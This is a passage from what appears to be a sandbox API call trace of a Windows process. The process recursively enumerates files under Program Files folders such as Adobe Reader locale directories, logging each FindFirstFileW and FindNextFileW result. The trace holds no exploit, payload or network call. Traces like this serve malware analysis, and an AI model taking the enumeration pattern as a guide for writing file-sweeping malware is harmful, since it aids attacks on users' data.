cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0044.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206e0 [0044.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02f0 [0044.011] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.011] FindNextFileW (in: hFindFile=0x3ec02f0, lpFindFileData=0x33df58c | out: lpFindFileData=0x33df58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0044.371] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8052fafa, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8052fafa, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.371] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a640bd5, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x2a640bd5, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2a640bd5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1456, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.png", cAlternateFileName="")) returned 1 [0044.371] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fd38b0 [0044.371] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0330 [0044.372] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.372] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37179769, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x37179769, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x37179769, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x28c, dwReserved0=0x0, dwReserved1=0x0, cFileName="(120DPI)alertIcon.png", cAlternateFileName="")) returned 1 [0045.131] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.131] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.131] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CZE", cAlternateFileName="")) returned 1 [0045.131] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.131] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.133] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0045.133] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.133] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.133] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DAN", cAlternateFileName="ACCESS~1.DAN")) returned 1 [0045.134] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.134] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.134] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ca7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.134] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.134] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.134] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DAN", cAlternateFileName="")) returned 1 [0045.134] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.134] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.134] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de_DE", cAlternateFileName="")) returned 1 [0045.134] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.410] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f5c380, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f5c380, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.411] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DEU", cAlternateFileName="ACCESS~1.DEU")) returned 1 [0045.412] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.414] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.414] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x95b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.415] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.415] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.415] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.DEU", cAlternateFileName="")) returned 1 [0045.415] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.415] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.417] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_ES", cAlternateFileName="")) returned 1 [0045.418] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0270 [0045.419] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.419] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.ESP", cAlternateFileName="ACCESS~1.ESP")) returned 1 [0045.420] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.420] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.420] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9480, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.420] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.420] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.420] FindNextFileW (in: hFindFile=0x3ec0270, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.ESP", cAlternateFileName="")) returned 1 [0045.420] FindClose (in: hFindFile=0x3ec0270 | out: hFindFile=0x3ec0270) returned 1 [0045.421] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.421] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu_ES", cAlternateFileName="")) returned 1 [0045.421] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.423] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.423] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.EUQ", cAlternateFileName="ACCESS~1.EUQ")) returned 1 [0045.423] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0370 [0045.424] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.424] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x33deb9c | out: lpFindFileData=0x33deb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9251, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.424] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.424] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0045.424] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x33dee18 | out: lpFindFileData=0x33dee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.EUQ", cAlternateFileName="")) returned 1 [0045.424] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.424] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0045.424] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x33df094 | out: lpFindFileData=0x33df094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, 